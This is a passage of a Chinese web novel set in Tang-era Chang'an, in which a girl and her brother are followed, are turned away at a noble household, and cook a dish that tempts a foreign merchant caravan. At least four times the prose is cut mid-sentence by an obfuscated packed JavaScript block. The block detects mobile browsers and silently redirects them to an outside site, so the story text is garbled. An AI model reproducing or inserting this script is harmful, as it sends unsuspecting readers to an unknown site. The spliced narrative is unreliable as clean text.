直到进了那家胡商店铺,高鼻梁的伙计正懒洋洋地用鸡毛掸子拂拭货物。看见童白姐弟进来,他眼皮都没抬,只在不经意擦过童白身边时,用极低的声音快速说了一句:“小娘子日后出门,多拣大路走。” 童白脚步一顿,疑惑地看向他。他却仿佛什么都没说过,继续慢条斯理地拂拭着货架上的陶罐。 童白压下心头异样,低头假装挑选。这时,伙计那毫无起伏的声音又飘了过来,像是自言自语,又像是对着空气:“市署那块,今日有上官巡视,闲杂人等……避着点好。” 童白拉着二郎的手猛地一紧!市署?上官巡视?闲杂人等避行?这没头没脑的话……一股寒意倏地从脚底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092402|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窜上脊背!她强作镇定,在店里随意看了看,待了没多久,便拉着二郎快步走出店铺。 一出店门,西市喧闹的人声扑面而来,她却感觉不到丝毫暖意。那伙计的警告绝非空穴来风!她不敢回头,拉着二郎的手心沁出冷汗,脚步却不敢停,一路向北,穿过人流,目标明确——市署方向。 童白姐弟身后,那道如影随形的目光似乎还在。 这一幕,落在了高鼻梁伙计的眼中。他微眯着眼,将对方的容貌和神态全记在脑中。 这时候,一人掀开间隔着内外店铺的布帘,“阿南,你什么时候变得如此好管闲事了?”竟是跟站在店铺中的高鼻梁伙计一个模样,区别只在于俩人的服饰颜色并不相同。 “你拉肚子拉糊涂了吧,阿北,”阿南甩下句话,边打哈欠边进了内室,“唉,这长安城什么都好,就是吃不到好吃的。要么有钱花不出去,要么花钱吃错东西……” 留下阿北靠站在柜台上,抱着肚子一脸痛苦。 童白一路上强迫自己冷静下来分析:伙计的警告是善意的,市署附近有危险?或者……跟踪者与市署有关?无论哪种,她一个带着幼弟的小娘子,都应付不来。 靠山!现在只有那个地方能暂时庇护!一个念头无比清晰地跳出来。 穿过市署后,童白毫不犹豫地从东门出去,进入毗邻的延寿坊。走到崔府所在的巷口,她刻意放慢了脚步,状似无意地四下张望。巷子里人来人往,看不出任何异常。但她知道,那个尾巴很可能还在。心跳得如同擂鼓,手心湿滑,她深吸一口气,拉着二郎快步走向那气势恢宏的崔府的侧门。 阳光斜照在门口威严的石狮子上,折射出冰冷的光。童白此刻却觉得这光芒无比令人心安。她定了定神,对门房说明了来意——求见张勇张军士。 等待通传的间隙,她站在门檐下,目光扫过巷口,依旧一无所获。紧绷的神经并未完全放松,但踏入崔府地界带来的安全感,让她终于能悄悄呼出一口浊气。 二郎绷着小脸,努力挺直腰板,小兽般警惕地观察着四周。 童白看着他这副强装老成的模样,紧绷的心弦莫名松了一瞬,她俯身凑近二郎耳边,用气声问:“二郎,可看出什么门道来了吗? 34. 胡商问路 二郎微微摇头,长了冻疮的耳朵在阳光中显得莫名刺眼。 童白眼睫颤了颤,“没关系,咱们现在也算安全了,”直起腰来,揉了揉眉心:“一会儿见到张军士,阿姊请他安排人送咱们回去。” 童白和二郎在崔府侧门处站了许久,才等来一名小厮传话:“张军士不在府中,小娘子下次再来吧。” “请问小哥,陈旺可在?”童白想着上午来家里送消息时的那位留下的姓名,说若是有需要,直接来府上找他也可以。 “陈旺?”小厮一脸疑惑,“小娘子可知这位陈旺兄弟在哪儿当值?”面上带着恰如其分的客气。就连嘴角上扬的幅度都跟原主记忆里管事和嬷嬷们教导规矩时一个模样。 礼节上挑不出半分问题。 童白回想了上午时的情况,摇摇头。 “陈旺?没听说过这人。若是不知道当值的地方,府上的仆从不少,可真不好找”小厮摊手道,一副想帮也帮不上忙的无奈。 童白虽失望,但也客客气气地谢过小厮,和二郎转身往南边走。 姐弟俩的身影远去直到见不着,小厮这才回了崔府,微垂着头快步去了前院和后院相连的垂花门处,那里正站着一名身着深绿色棉制襦裙梳着高发髻的女子,面容娟秀,肌肤白皙,双颊红润,一看就觉得喜气。 “溪娘子,事情办妥了。”小厮恭敬地朝女子行了一礼,跟面对童白时的面上客气内心倨傲不一样,这一次他是身心都很有礼,“小的看着她们姐弟离开。” 面前这位女子是夫人身边得脸的溪娘子,他是负责客院洒扫的小厮,原本门房通禀的事并不由他负责,但溪娘子出面叫他来应答,他岂敢不从。 “很好,”溪娘子嘴角勾起一抹笑容,手从袖中缓缓往前一伸,“来,赏你的。” 小厮不敢抬眼直视,眼角余光瞧见对面的动作,赶忙双手朝上,恭敬地放在额前,感受到冰凉的东西坠在掌心,他心中一喜,“谢溪娘子赏。” 溪娘子轻“嗯”一声,“行了,这事回头被问起来该怎么说,你知道吗?” “奴来客院伺候不过月余,没认全人,全是奴的错。” 溪娘子很满意他的识趣,“你下去吧。” 小厮仔细回想着管事当初教的规矩,退行一段距离后,才转身小碎步快走离去,手心里冰冷且坚硬的银裸子让他感受到了真实感。 溪娘子站在这里直到看不见那小厮的身影后才转身进了垂花门,顺着连廊往仆从们居住的西南角走去,一路上遇到的丫鬟嬷嬷瞧见她,都恭敬地行礼。 溪娘子背脊挺直,下巴微扬,就像一只骄傲的孔雀般,见到其他人的行礼也只是微微颔首。直到在小花园的假山前,眼角瞧见一抹浅蓝色身影,她脚步顿住,随即跟着那抹身影一前一后行到小花园的偏僻处。 视线在周围瞧了好些眼,溪娘子才僵着脸道:“你说的事我做了,咱们两清了。” 浅蓝色身影抬起脸,瞧她这一幅迫不得已地模样,心下暗啐,面上却弯着眼道:“嗯,清了。” 溪娘子听到这一句话,心下那口气舒了出去,转身离去。走到假山旁,她顿住脚步,用着几不可闻的气音道:“玉娘,那十九爷并不是个好惹的,张军士现跟在他身边做事,你……有些事过去了就过去了吧。” 也没等身后之人回应,她大步朝前走。 留下那一抹淡蓝色的身影站在这里许久,离去前,鼻腔发出一道愤愤的冷哼声。 哼!过去?这件事真要过去,也得是她踩着白霜娘的手指才能走过去! * 走在路上的童白姐弟俩一脸的沉重,早已不复去时的轻松,二郎的小肩膀都垮了下来,童白虽心里不是滋味,却比二郎要好上一些,很快发现了二郎的情绪低落。 她将手放在了二郎的肩上,“没事的,新朝初建,长安城坊间有武侯巡视,只要咱们不走那偏远之处,自是无需担心……”这话,若是她听了,并不会大信,至于说二郎信不信。 二郎还小,应是信的吧。 “阿姊,”才到童白腰际的二郎叹了口气,小大人似地说:“武侯不会随喊随到,”阿爹在离家前就跟他特别交代过这个,“不然阿姊也不会带我去延寿坊了。” 童白:“……” 放在二郎肩上的手握成了拳又松开。 有时候孩子有着超出年龄的成熟并不是什么好事,她像二郎这么大的时候,哪里会想这么多。 “但只要咱们顺着大道,人多的地方走,应是没问题,”二郎可不知道身旁的阿姊在想什么,分析道:“这坏人应该只是跟踪咱们,暂时还没起想要掳走的心思,我们算安全的。” 这话语,就不是小大人或者成熟一点能统一概括。 童白皱眉,“二郎怎么懂这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一直关注着自家阿姊的二郎,惊呼一声:“阿姊……”后面的话语还没说出来,就听到右手边的院门被打开的声音,瞧过去一看,卢婶子的身影出现在巷子里。 她视线在胡商身上打量许久才问:“这里是双梧巷,你找谁?来做什么?” 那胡商瞧卢婶子年龄比起着胆小的姐俩大,以为那小娘子是被自己的外表吓到了,挤出个和善的笑容道:“我是租了谢家的宅子,谢家在崇延坊双梧巷。”没想到腔调异域,但话语却是让在场的几个唐人都听明白了。 卢婶子又瞧了眼胡商身后的骆驼商队,几步站在了童白姐弟面前,说:“是有个谢家,你们随我来。”转脸对童白道:“有婶子在呢,你们先回去,应只是个问路的。” 35. 毁了童家来 刚才她趴在大门上,看到了外面的情况。之所以出来也是瞧见童小娘子被吓住,想着延寿坊崔家对童家的照顾,才出来解围。 有卢婶子出来,童白原本慌乱的心也渐渐安定下来,她牵着二郎走到卢婶子身旁,小声道:“我跟二郎才从延寿坊回来,我们排在他们身后进的坊,没想到,却在巷口遇被他们喊住了。” 这一段话,听在卢娘子的耳中,既是解释事情的缘由,也是再次佐证了白氏在她这说的话语的真实性。 卢娘子也没顾得上一旁等着她带路的胡商,拉着童白的手往后退了几步,亲昵问道:“小娘子近来去延寿坊倒是频繁,是有什么事吗?”见童白看过来的眼神中带上了几分疑惑,她紧接着道:“我听你阿娘说那边想让你做吃食,是为这事?” 倒不是说不信白氏的话语,只是白氏说归白氏说,她还是想跟童白确认。 童白不知道白氏怎么跟卢婶子说的,但她并不是十五岁的原主,自然明白怎么说更对自家有利。 “嗯,我想在院子里砌个炉灶,便去了那边,”说到此,叹了口气,“哪知没见着……” 卢娘子眼眸一转,热心道:“这点小事,要是你信我,我帮你找个老手来。” “那自然是好。”听到这话,童白被握住的手掌往上一盖,主动握住卢婶子的手,语气中的欣喜并不作假。 卢婶子还想继续说点什么,却被一旁的胡商出声打断,“这位婶子,麻烦领我们去那谢家。” 被打断话语的卢婶子斜眼瞧了眼胡商,却在看到胡商手掌上的东西时,眉开眼笑道:“哎呀,瞧我这记性,把这事给忘记了,”捏了捏童白的手掌,“你先回去,回头婶子问清楚砌炉灶工匠的时间后再去找你。” 童白点点头,招手让二郎跟着自己,俩人顺着巷道往东走。 卢婶子伸手接过胡商掌心的大钱,“来吧,你们随我来。”便走在了前面给胡商领路。 吴家在这双梧巷也住了有近十年,对巷子里各家住户的情况门清的很,除了几家自家居住的,也有像是死了父母,亲戚打着照顾孩子的名义搬进来住的陈家,还有就是这举家在三年前搬出去住的谢家,这两年陆续也分租了出去,从上一批租客搬离后,谢家也空了有小半年了,没想到,这次竟然租给了一个胡商。 “你们是今日才进城来?”卢婶子问。 “是,”大胡子挥了挥手,让手下的人,先别动,自己跟在卢婶子身旁,往巷子里走去。“我是去年离开长安时从牙行租下这谢家的宅子,但也就当初看房时来了一趟,有些记不着具体位置了。” 卢婶子一副原来如此的模样,“我家是巷口吴家的,我家男人是校尉……” 随着这交谈的声音越来越小,童白也走到了自家院门前,敲响了院门,状似无意往对面的陈家看去,太阳西斜,除了黑黝黝门板,什么也看不到。 “吱呀”一声,童家院门打开,童白和二郎进了院子,将院门合上落闩,也将内外隔成了相对安全的两个地方。 轻舒一口气,姐弟俩顾不上别的,一人拉一个,将院子里不明就以的白氏和三娘拉进了主屋。 灶屋离院门有些近,没发现对门陈家不对劲前,童白还不觉得,现在觉得,日后在灶屋说话定要注意些。 主屋门才关上,“怎么了?”白氏声音微颤问。 童白走到破了桑皮纸的窗户前,透过缝隙边往外瞧,边说了这趟出门之行:“出门时感觉对面陈家不对劲……路上,我们被人尾随,去到延寿坊崔家,本想请那边送我们回来顺带说起炉灶之事,却没见到人……” 童白说,二郎在旁补充,白氏总算是听明白什么意思了,手无意识地抚摸着怀中四郎的身子,坐在床上,眼神中全是惊恐,嘴里喃喃:“这,这该如何是好。” 童白知道白氏是一下子听到的信息量过大,根本还未消化,没打搅她,就那么盯着窗户外的动静。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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童白目露震惊,嘴唇微张,在其他人眼中看来便是她被吓到了。 童白凝视着白氏苍白却坚定的侧脸,心中五味杂陈。这番话是真心寻求同盟,还是…又一次的试探?‘家破人亡’四个字像冰锥扎进心里。无论如何,此刻她们是绑在一根绳上的蚂蚱。 白氏以为童白被吓到,拍拍身边的位置让童白过来,“既然只是偷偷而为之,那应是不会破院门进来,你过来,我跟你们细说一下。” 顺着白氏的话语想了想,是这么个道理,童白也没继续守在窗户前,拖着个小腿部挂件去到白氏身边坐下。 同时,二郎也站到了白氏另一边,一家人紧紧依偎在一起,就跟每晚睡在床上一样。 白氏伸手搂住二郎,轻着声说:“我的父兄在逃难路途中被前朝的鹰犬抓去当兵,随后我跟阿娘便被你们爷奶卖掉,我被人牙带来长安县郊,卖给了崔家,你们的阿爹则是知道家里打算推他出去征兵,自卖自身,将卖身银子给了家人,买断了关系。” 这一段家庭情况,童白在原主的记忆中看到过,但三娘和二郎却是头一回听,三娘虽不懂,但她莫名觉得有些害怕,抱住阿姊不放手,童白顺势将她抱进怀里,一家人继续听白氏说。 “进了崔府后,我因为绣工不错,被绣房管事挑去,你们阿爹则是在门房处当值,两年后,崔将军大婚,夫人嫁入崔家,当时崔夫人的陪房玉娘也进了绣房,原本老夫人和夫人井水不犯河水,但玉娘却想要获得老夫人的认可,没能成功,便将坏心思打到了我身上。 那玉娘是夫人的陪嫁,她放出那等腌臜话,原是想借夫人的手处置我。谁知夫人刚进门不久,不愿为个绣娘轻易开罪老夫人院里的人,只作不知。倒是我们绣房的管事嬷嬷,是老夫人当年的陪嫁,她素知我性子怯懦本分,断无此心,查问清楚是玉娘构陷后,便悄悄禀明了老夫人。老夫人最厌这等后宅阴私手段,又看在嬷嬷的面上,才发话将我配给了你们阿爹,也算全了府里的体面。” 原主的记忆便到了这里,之后的事情便是玉娘因为不满,几次三番找白霜娘的麻烦,童寄想着门房小厮在府中的地位比不上夫人的陪房,便偷偷在将军面前显露出自己的强壮和衷心,在一次将军带着家里部分部曲外出未归时遇到匪寇袭击崔府时,他跟着府上余下的部曲奋力抵抗和拼杀,将匪寇拦截在前院,虽然那一次童爹受了不轻的刀伤,但并没有伤及性命。 伤势好后,崔将军要给赏赐时,他求来了做部曲的机会,这样,童爹便成了崔将军的部曲,并一直跟随者崔将军南征北战。 这样童家也获得了脱籍的机会。 “所以,我想要说的是,崔家除了有对咱家有恩,也有些人是跟咱家有仇。”白氏讲了一大堆过往后,才说出来她这番话的目的。 她听到童白说被人跟踪后,第一想的便是去延寿坊崔府寻求帮助,却没能如愿而回来时便意识到,跟崔家人的关系和情况一定要跟他们说清楚。 过去她出于保护孩子们的思想一直未能将这些事情说出来,但随着女儿换了个魂后,她意识到之前的做法不对。 随着孩子们越长越大,一味的保护是护不住他们。 听到白氏说完这些过往,童白明白了,虽然白氏不清楚暗处在盯着自家的究竟是谁,但也是告诉她,崔家也只是部分可信。 不能过于依赖。 童白暗自懊悔,是哦,她怎么就忘记了靠山山会倒,唯有靠自己的说法了呢! “好的,阿娘,我和二郎、三娘都知道了。您放心,敌在暗我们在明,我们以后定会多留个心眼。”童白保证道,又将这趟去找胡长春发生的事情都说了一遍,也算是宽慰白氏,“胡叔说,这件事他也会打探一下情况,不过,不管如何,那位付坊吏爱吃我做的黄金油渣包……蒸饼,我明早多做点,把他的那一份算上。”在后厨干活就是这点好,多一点少一点的,并不是算得那么清楚,自家省一口,便出来了。 能多结交一名坊吏对于童家来说必然是利大于弊,白氏听到这消息也很开心,“好,明早我也早点起来帮你。”她做不了别的,烧火打下手这些她还是能做的。 二郎知道自家阿娘那烧火的能力,只能说比阿姊好一点,插话道:“烧火还是我来吧,阿娘可以带着四郎和三娘。” 怀中的三娘似懂非懂,小脸煞白,只是更用力地箍紧童白的腰,恨不得将自己嵌进去。 童白视线也随之移到了怀中的三娘身上,瞧见她脸上异于平时的惨白,也意识到了刚才她们说的话语吓到了三娘。 童白骨子里带着几分豁达乐观,她故作轻松道:“这样,我现在去刘婶子家买只鸡来,咱家晚上吃点好吃的,压压惊。”经历这一番惊吓,急需一顿热腾腾的好饭食来安抚自己和家人受惊的心神。 白氏下意识就想拒绝,但看到童白眼中强撑的镇定,听见到欢呼的三娘,看到眼睛亮的惊人的二郎,白氏喉头哽了哽,拒绝的话终究没说出口。 罢了,天大的事,也等吃饱了再说。 童白去刘婶子家选了一只两斤多的小公鸡,十个大钱一斤,这只鸡花了近三十大钱,刘婶子还搭着送了些蒜和姜给她。 回到家中,灶屋里的开水已经烧好,童白利落的给鸡抹了脖子,用放了醋的碗接了鸡血,便开始烫水、脱毛。 趁着这点空闲,她将做酸腌菜剩下的一半酒糟拿出来解冻,一会儿就用这个跟鸡一起炖,那滋味,可真是一绝。 最主要的是,这道菜,无需过多的调料,只需油盐加上酒糟,就能烹饪出一道美味又能补气血的菜肴来。 当然,若是有酱油和辣椒,配上铁锅,她还能做出香辣酒糟鸡,不过,现在原材料有限,这也是没办法的事。 姜蒜这些交给二郎来洗,童白忍着那特有的腥气,手下利落,热水烫过的鸡毛被成片薅下,露出底下嫩黄的皮肉。 拔掉鸡毛,开膛破肚,收拾干净,用菜刀将鸡剁成半个拇指大小,她强迫自己将注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115050|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力集中在手中的刀和案板上的鸡,灶膛里跳跃的火焰驱散了心底一丝寒意。 若是在上一世,用冰冻肉制作这些还需要泡出血水这一步,但刘婶子家散养的小公鸡肌肉紧实,皮下脂肪金黄,远非前世那些速成鸡可比。 在陶瓮里放入猪油,将切成片状的姜片放进去,反复用竹筷翻炒,直到姜片加热后的香味飘散出来,再将鸡块放进去,快速翻炒。 直到均匀受热后,添加热水没过鸡块,大火烧开,小火炖煮。 很快,鸡肉经过炖煮后散发出来的鸡汤香味充斥在了整个灶屋里,二郎小脸被灶膛里的火映得通红,眼睛却亮晶晶地粘在咕嘟作响的陶瓮上,喉头不自觉地滚动。 他在崔府的时候也喝过鸡汤,但家里父亲哪怕再受看重,也只能分到一盅鸡汤罢了,加上从厨房取回来,一路上,鸡汤的香味也跟着散去不少。 但自家做的鸡汤却是不一样的,一整只鸡炖煮带来的香味可不是一盅鸡汤能比拟的。 浓郁的荤香霸道地钻出灶屋,弥漫在童家小院,惹得在院中玩耍的三娘也不玩耍了,扒在灶屋门框处使劲闻嗅。 炖煮了约么小半个时辰后,童白再将酒糟放进去,这酒糟比之前送来的时候,多了些水,加上童白刻意放在暖和的地方,竟然还发酵出来些汁液出来。 倒进去后,因为有酒糟,所以没盖盖子,随着瓦瓮底部的火苗张牙舞爪,酒糟的酸香在热气蒸腾下愈发浓郁,化作一股带着微醺暖意的奇香,丝丝缕缕,如同无形的小钩子,勾得人五脏庙都跟着闹腾起来。 这一下子,不光是在灶屋的二郎被香的找不着北,就连主屋里睡觉的四郎都被香味勾醒来了。 今日吹的是东北风,风吹过童家院子将香味往巷口带,不止是对门的陈家,那巷子中间,新来驾到的胡商,余家的刘婶子,就连巷口的吴家也都闻到了。 吴家,卢娘子正指挥着吴三娘洒扫,鼻翼忽地翕动几下,循着那勾人的香气望向童家烟囱的方向,眼神复杂地咂了咂嘴。 整个双梧巷中,唯有东北隅的烟囱正往外飘着白烟,一点都不难知道,这香味是从哪家传出来的。 谢家院子里的胡商们,虽然在他们过往那些年从未闻到过这种香味的食物,但是,经过风餐露宿的行程,好不容易抵达长安的他们,可一点都不在意这味道有没有闻到过,只要香就是了。 所以,底下的人都找到他们的领队,也就是跟童白和卢婶子问路的那位胡商。 “天神在上!哈维,这香味!它钻进我的鼻子,咬住了我的脑子!我的头要裂开了!” “不不不,我不止脑袋疼,我还嘴巴疼……” “这香气像沙漠里的毒蝎,蜇得我口水直流,肚子疼得要命!” 一时间院子里全是喊疼的胡商。 一个裹在宽大胡袍里、只露出一双明亮眼睛的少年挤到哈维身边,扯着他的袖子,用尖细清亮的嗓子嚷道:“哈维!我要吃这个!你去买!” 37. 送上门来的“金贵”买卖 哈维看向院子里的躁动不安的众人,鼻尖嗅着那霸道且勾人的香味,内心天人交战,重重叹了口气道,转向面对那少年:“尊贵的韦德少爷,不是哈维故意违背您的命令,实在是大唐律令明令禁止坊间售卖交易,”他也想吃好吃的,但不是他买不买的问题,是不能去买,“咱们这趟是来做生意的,不能违反大唐律令。” 韦德眼珠一转,“可是我们只尝一尝,”眨着蓝色的眼睛,用最真诚的表情说着固执的辩解,“再说我们也不是买,是分享……对,分享,就跟路上跟别的商队那般。”他们在路上若是遇到认识的商队,也会进行一些分享交易。 这趟行程容不得半点意外,哈维想着出发时老爷交代的话语,他眉头紧锁,“少爷……,”摊开手,“外出走商就是会如此辛苦,”使出了杀手锏:“明日我就去打听下,可有回粟特的商队,送你……” “好好好!”韦德立刻像被戳破的皮球,悻悻地打断他,“知道了知道了!不换就不换!”他嘟囔着,满心不甘地剜了哈维一眼,转身跑开。其他伙计见领队态度坚决,少爷也偃旗息鼓,只得悻悻地散开,继续手头的活计,只是那飘来的香气让他们的动作都显得有气无力。 谢家这套三合院虽普通,胜在院门宽敞,卸了门槛,骆驼也能进出,租金也实惠,离西市不算远。前朝兵荒马乱,行商不易,如今新朝初立,哈维这趟带着少爷,既是送货,也是探路,万万不能出岔子。 他强迫自己将注意力从香气上移开,指挥众人将西厢房仔细打扫干净,好安顿货物。几个月无人居住,又经寒冬,院里积了不少枯枝败叶。 负责伙食的了延大叔拿出自家带的麦粉,招呼小帮工阿丑去灶屋:“韦德少爷,别不高兴!了延给您做最香的胡麻饼!烤得焦脆金黄,配上滚烫的羊骨汤,再……再给您撒上一小撮胡椒粉!保管您吃了还想吃!”他努力挤出笑容,露出黄牙,试图安抚少爷。 听到“胡椒粉”三个字,忙碌的伙计们精神微微一振,发出几声稀稀拉拉的欢呼。胡椒啊,那可是价比黄金的好东西!虽然知道抠门的了延绝不会多放,但能沾点味也是好的。 韦德却只是撇撇嘴,闷不吭声。他倔强地跑到院门边,整个人像块膏药似的贴在门板上,秀挺的鼻子精准地卡在门缝里,贪婪地、深深地吸着气,仿佛这样就能把那勾魂摄魄的香味全吸进肚子里去。 哈维盯着韦德的背影,无奈地摇摇头。罢了,只要不跑出去惹事,趴着就趴着吧。 * 童家灶屋里,热气氤氲,香气已浓郁到化不开的地步。 一家人围在陶瓮边,连襁褓中的四郎都睁着乌溜溜的眼睛,小鼻子一耸一耸。 白氏抱着他,心中再次为“女儿”的厨艺掀起惊涛骇浪。那粟米粥和蒸饼已是惊喜,这荤食的香气更是霸道得超乎想象!光是闻着,就让她舌底生津,腹中馋虫乱拱。 童白用木勺小心舀起一小块鸡肉,吹了吹,送入口中。嗯,鸡肉软嫩,带着酒糟特有的醇厚微酸,只添加了盐对她这个现代舌头来说略淡了些。 但她瞥了一眼案板上家里仅有的粗盐罐子,心里默默怀念生抽老抽蚝油辣椒酱。这年头的猪肉腥臊,寻常百姓难得吃肉,家禽算是好物了。刘婶子家散养的小公鸡,肉质紧实,金黄的脂肪散发着原始的荤香,远非前世饲料鸡可比。 “放点萝卜进去炖,行么?”白氏看着不算太多的鸡肉,犹豫着开口,“萝卜若是吸饱了汤汁,味儿比肉也不差呢。多炖点,孩子们爱吃,晚点盛些给卢婶子、刘婶子还有胡坊吏也尝尝鲜,也谢谢人家平日关照。” 童白听到这话,瞬间懂了。 光秃秃几块鸡肉送人,看着寒酸;加了萝卜,不仅味道不差,卖相和体面都兼顾了。 “行!”童白爽快应下,这是个好主意,也是白氏的智慧。 她麻利地削了两个大白萝卜,切成滚刀块,哗啦倒入咕嘟冒泡的陶瓮里,用竹筷搅匀,让萝卜块充分浸润在浓稠的汤汁中,又添了半瓢水。 大火催沸,小火慢煨,无非是多费些柴火和时间。 等待的间隙,她淘洗了粟米,又将之前做酸菜剩下的一点稻米混进去,打算蒸一锅黄白相间的二米饭。 一颗水灵的大白菜被她利落剖开,菜帮子用刀背拍松,菜叶子撕成大片。家里没有铁锅,她便把鏊子架在火上烧热,抹上薄薄一层猪油,将白菜倒进去快速翻炒。菜叶蔫软时,转圈淋入一小勺米醋。 “滋啦”一声,醋香混着锅气猛地窜起,一道减配版的“醋溜白菜”便成了。 童白夹起一点让白氏和孩子们尝,那酸鲜爽脆的滋味让二郎和三娘的眼睛瞬间亮得像小星星,忍不住舔了舔嘴唇。 待到萝卜炖得半透明,吸饱了汤汁,童白才将切得细细的翠绿葱花撒入翻滚的醪糟鸡中。 乳白的萝卜、嫩黄的鸡肉、碧绿的葱花在油亮的汤汁里沉浮,虽然卖相远不如前世精致,但那混合了酒香、肉香、谷物发酵醇香的霸道气息,足以征服任何人的味蕾。 童白看着这锅“四不像”的改良版醪糟鸡,无奈又释然地笑了笑。 美食嘛,本就是在有限条件下追求极致,创新也是乐趣。 白氏早已找出两个干净的瓦碗和一个稍大的瓦盆。“这碗给卢婶子家,这碗给刘婶子家,”她指着碗吩咐,“剩下的……晚些盛些送去北坊门胡叔那儿。”她语气里带着一丝不易察觉的赧然,过去家里窘迫,人情往来上实在有心无力。 童白会意,叮嘱二郎将灶膛里的大柴抽出,只留余温温着陶瓮,自己端起一碗就往隔壁刘婶子家去。卢家稍远,由白氏送去。 “哎哟!白丫头!”刘婶子开门见是童白端着热气腾腾的碗,连忙拉开院门,脸上笑开了花,眼角的褶子都堆了起来,“你家那只鸡才多大点?瞧这盛的!太实诚了!”她一眼就认出这是自家卖出的鸡,分量心里有数,童家这份心意让她既感动又不好意思。 “婶子快别这么说,”童白拉着她往灶屋走,“您拿个碗来,我倒给您。家里就二郎三娘看着火呢,我得赶紧回去。”她动作麻利,不容刘婶子多推辞。 刘婶子见她着急,也不再客套,连声道:“哎哎,好孩子,婶子记下了!回头……”她想着回礼,童白已风风火火地出了门。 余家就在陈家隔壁,离童家近。童白送完刘婶子回来,白氏还未归家。灶屋里,二郎和三娘像两尊望夫石,叠着脑袋,四只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149211|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛一眨不眨地盯着灶上氤氲热气的陶瓮。三娘甚至无意识地吮着手指头,连阿姊进来都没察觉。 * 白氏拎着装着另一碗菜的竹篮,顺着巷道往吴家走。 那浓郁的、独一无二的香气从碗中逸散出来,引得她自己也忍不住咽了咽口水。 路过谢家时,她似乎听到一声清晰的吸溜声。下意识扭头看去,“啊!”白氏短促地惊叫一声,猛地后退半步,心脏差点跳出嗓子眼。 只见谢家那紧闭的院门缝里,赫然嵌着一只圆溜溜、充满渴望的眼睛,正直勾勾地盯着她……手里的的竹篮! 不过,这动作,饶是她尽力稳住,竹篮还是晃了晃。 “霜娘!莫怕!”不远处的吴家院门应声而开,卢娘子快步走了过来,正好扶住惊魂未定的白氏。 白氏指着谢家门缝,惊魂未定。卢娘子正要解释胡商赁了谢家宅子的事,那院门却“吱呀”一声从里面拉开了。 白日里见过的那位胡商领队哈维站在门口,脸上堆着歉意的笑容,微微躬身:“尊贵的娘子,万分抱歉!惊扰您了!实在是我们这里有个馋嘴的孩子,”他侧身露出身后探头探脑、一脸渴望的韦德,“被巷子里这无与伦比的香气勾得失了礼数,趴在门缝上张望,没成想吓着您了。”他的目光飞快地扫过白氏手中的碗,鼻翼微不可察地翕动了一下。 卢娘子快人快语,半嗔半笑地指着白氏:“还能是哪家?就是我这霜娘妹子家的手艺!瞧瞧,把你们胡商都馋得扒门缝了!”不过却也没点名具体是谁做的。 哈维心中了然,果然如此!他身后的韦德更是眼睛放光,那香气随着这位娘子的靠近越发浓郁醉人,他刚才一时忘情,才弄出了动静。 白氏定了定神,微微颔首:“……是我家做的。” “那……我、我想……要一点!”韦德迫不及待地从哈维身后挤出来,蓝眼睛里满是热切的恳求,他伸出紧握的右手,掌心赫然躺着几粒乌黑油亮、饱满圆润的小颗粒,“用这个换!这是胡椒!很香很香的!”他的大唐官话带着浓重的异域腔调,但“胡椒”二字咬得格外清晰。 白氏的目光落在韦德掌心那几粒不起眼的小东西上,卢娘子却在一旁猛地倒抽一口冷气! “少爷!”哈维脸色骤变,急声低喝,“不可!这太贵重……”这几粒上好的胡椒,价值远超十碗肉!他心都在滴血。 “哈维!”韦德少爷脾气上来,扭头狠狠瞪了他一眼,执拗地将手又往前递了递,对着白氏重复道,“换一点!就一点!” 白氏看着少年固执的脸,又看看哈维那副心痛又无奈的表情,再瞧瞧卢娘子震惊的眼神,电光火石间,一个念头如同惊雷般在她脑海中炸开。 这……这难道就是当家的曾提过的价比黄金的香料? ‘她’鼓捣出的吃食,竟能引得胡商拿出此等贵重之物交换? 刹那间,连日来的惶恐、担忧似乎被这突如其来的发现冲开了一道缝隙。 她强压下心头的狂跳,努力维持着面上的平静,目光却不由自主地再次落在那几粒乌金般的胡椒上。 巷子深处,陈家那扇黑黝黝的院门,仿佛也在无声地注视着这一幕。 38. 各有心思 